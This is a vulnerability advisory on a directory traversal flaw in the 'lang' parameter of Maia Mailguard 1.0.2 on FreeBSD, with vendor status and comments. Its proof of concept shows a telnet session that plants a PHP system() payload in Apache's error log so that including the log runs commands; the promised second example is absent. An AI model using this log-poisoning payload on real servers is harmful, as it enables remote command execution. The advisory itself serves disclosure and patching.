Maia Mailguard is a web-based interface and management system based on the popular amavisd-new e-mail scanner and SpamAssassin. Written in Perl and PHP, Maia Mailguard gives end-users control over how their mail is processed by virus scanners and spam filters, while giving mail administrators the power to configure site-wide defaults and limits." A directory traversal vulnerability exists in the Maia Mailguard Web Application that enables an attacker to execute arbitrary commands on the affected system.
Vulnerable Systems:
* Maia Mailguard version 1.0.2 and prior (FreeBSD)
Improper input validation on the "lang" variable in Maia Mailguard web application has resulted in a Directory Traversal vulnerability that can be used to execute arbitrary commands on he affected system, or, to read arbitrary files on the affected system.
Proof of Concept:
1) An attacker can inject code into the httpd-error.log file by connecting to port 80 on the affected system and issuing a "get <CODE HERE>" command. See example below:
the-wretched:~ simon$ telnet maiatest.snosoft.com 80
Trying 10.0.0.128...
Connected to maiatest.snosoft.com.
Escape character is '^]'.
get <pre>><?php system('ls -laf /var/log');?>
HTTP/1.1 400 Bad Request
Date: Wed, 20 Jun 2007 21:31:58 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.8.28
OpenSSL/0.9.7e-p1
Connection: close
Content-Type: text/html; charset=iso-8859-1
2) Once the attacker has injected his code into the log file, the code can be executed by forcing the web application to read the log file. When the log file is read, the code is executed. Below is an example of code execution:
Vendor Status:
Vendor has been notified and was quick to resolve the issue.
Vendor Comments:
"The only addition that I had was that it seems to only affect systems like freebsd... It would be nice to nail that down. It suspect the root security issue is really with the php and file-system interaction... my patch just simply works around and blocks the root problem. From my developer point of view, I'm asking for one file and the file-system is giving us something else. That's a serious risk. If we could at least express that concern, I think that would be prudent.
Chicken and egg problem, I was kinda waiting on you to post our own ticket, but.... I can add a comment afterwards. OK. Here's our ticket which also references the changeset: http://www.maiamailguard.org/maia/ticket/479
